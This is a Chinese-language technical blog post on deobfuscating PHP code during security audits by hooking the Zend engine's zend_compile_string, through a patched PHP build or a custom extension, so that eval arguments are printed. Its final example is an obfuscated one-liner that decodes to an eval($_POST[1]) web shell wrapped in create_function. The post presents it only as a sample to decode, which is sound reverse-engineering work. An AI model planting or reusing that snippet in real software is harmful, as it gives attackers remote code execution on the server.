當前位置:
首頁 > 最新 > 解密混淆的PHP程序

解密混淆的PHP程序

團隊大佬在做PHP代碼審計的時候發現PHP代碼是被混淆過的。雖然可以通過自己手動解密可以還原原先的PHP代碼,但是混淆過程比較複雜且自己寫腳本還原非常麻煩。所以,我這邊通過PHP底層的操作對混淆後的PHP代碼進行還原。

0x02 PHP代碼混淆

PHP代碼混淆一般來說有兩種方法:

需要PHP擴展

無需PHP擴展

本文我們主要講解無需PHP擴展的代碼混淆的解密。大多數的無需擴展的php代碼混淆原理上都是使用eval進行代碼的執行。如果我們能夠得到 eval 函數的參數,即可獲得解密後的代碼。

不過,一般來說PHP的混淆都會通過多次 eval 來還原並執行php代碼,所以我們可以通過hook PHP的eval函數來列印其參數來解密代碼。

0x03 hook eval

PHP中的eval函數在Zend里需要調用 zend_compile_string 函數,我們可以通過調試看看 zend_compile_string 函數。

user@ubuntu ~/php-5.6.35/Zend ~ grep -rn "zend_compile_string" *

zend.c:693:zend_compile_string = compile_string;

我們發現 zend_compile_string 函數其實就是 compile_string 函數。所以我們可以通過寫一個簡單的PHP代碼,看能否在 compile_string 中獲取到 eval 參數的值

eval("phpinfo();");

首先我們編譯一下下載好的PHP。注意,由於我們後面要進行調試,所以要在編譯時加上 -g 參數,加調試符號。

./configure CFLAGS="-g" CXXFLAGS="-g"

make -j16

接著我們使用gdb調試php程序。首先設置程序的參數,且在 compile_string 函數下好斷點。

gdb-peda$ set args xxx.php

gdb-peda$ b compile_string

Breakpoint 1 at 0x6b4480: file Zend/zend_language_scanner.l, line 716.

然後讓php程序跑起來

通過修改 compile_string 函數來列印 eval 的參數,代碼如下

if (Z_TYPE_P(source_string) == IS_STRING)// 判斷是否為string類型

{

len = Z_STRLEN_P(source_string);// 求string的長度

str = estrndup(Z_STRVAL_P(source_string), len);// 拷貝到str中

printf("
==================DUMP_CODE====================
");

printf("%s
", str);//列印

printf("
==================DUMP_CODE====================
");

}

修改好之後重新編譯php,運行被加密的php代碼

解密後的PHP代碼如下

可以看到已經完全還原了被混淆的PHP代碼

通過編寫php擴展來解密php腳本

編寫php擴展的原理就是用我們的函數hook zend_compile_string 函數,將函數的參數列印出來後再交還給 zend_compile_string 函數執行即可。

./ext/ext_skel --extname=decrypt_code

首先,我們寫一個自己的hook函數。此函數的功能就是判斷 eval 函數的參數是否為字元串,如果不是,則按原路徑執行;如果是,則將參數列印出來後按照原路徑執行。

static zend_op_array *decrypt_code_compile_string(zval *source_string, char *filename TSRMLS_DC)

{

int len;

char *str;

if (Z_TYPE_P(source_string) != IS_STRING)

{

return orig_zend_compile_string(source_string, filename TSRMLS_CC);

}

len = Z_STRLEN_P(source_string);

str = estrndup(Z_STRVAL_P(source_string), len);

printf("
==========DUMP===========
");

printf("%s", str);

printf("
==========DUMP===========
");

return orig_zend_compile_string(source_string, filename TSRMLS_CC);

}

接著,我們修改PHP擴展載入函數

PHP_MINIT_FUNCTION(decrypt_code)

{

/* If you have INI entries, uncomment these lines

REGISTER_INI_ENTRIES();

*/

orig_compile_string = zend_compile_string;

zend_compile_string = decrypt_code_compile_string;

return SUCCESS;

}

此函數的功能就是保存 zend_compile_string 函數的地址,接著用我們的hook函數替換 zend_compile_string 的地址。當 eval 函數調用 zend_compile_string 時,就調用了我們的hook函數。

最後,我們修改PHP擴展的卸載函數

PHP_MSHUTDOWN_FUNCTION(decrypt_code)

{

/* uncomment this line if you have INI entries

UNREGISTER_INI_ENTRIES();

*/

zend_compile_string = orig_zend_compile_string;

return SUCCESS;

}

當這個擴展被卸載的時候將函數的hook解除。

最後,編譯我們的擴展

phpize

./configure --with-php-config=/usr/local/php/bin/php-config

make

接著,在php.ini中加上我們的擴展。

extension=decrypt_code.so

運行此腳本也可得到同樣的輸出。

0x04 利用其他函數還原的解密

其實,混淆代碼的解密就是類似於代碼執行。最終還是要執行PHP代碼,而執行PHP代碼的方法很多,除了 eval 函數還有 assert 、 call_user_func 、 call_user_func_array 、 create_function 等。這些函數的底層也是調用了 zend_compile_string ,所以也可以利用hook eval 來還原混淆後的加密代碼。

0x05 Example

一段示例代碼。

$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();

運行一下,得到解密後的結果。

./php 3.php

=====================DUMP_CODE========================

function __lambda_func()

=====================DUMP_CODE========================


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 PHP技術大全 的精彩文章:

他棄近百萬年薪,為了讓你每月多拿1萬!
熬夜不傷身的小秘訣

TAG:PHP技術大全 |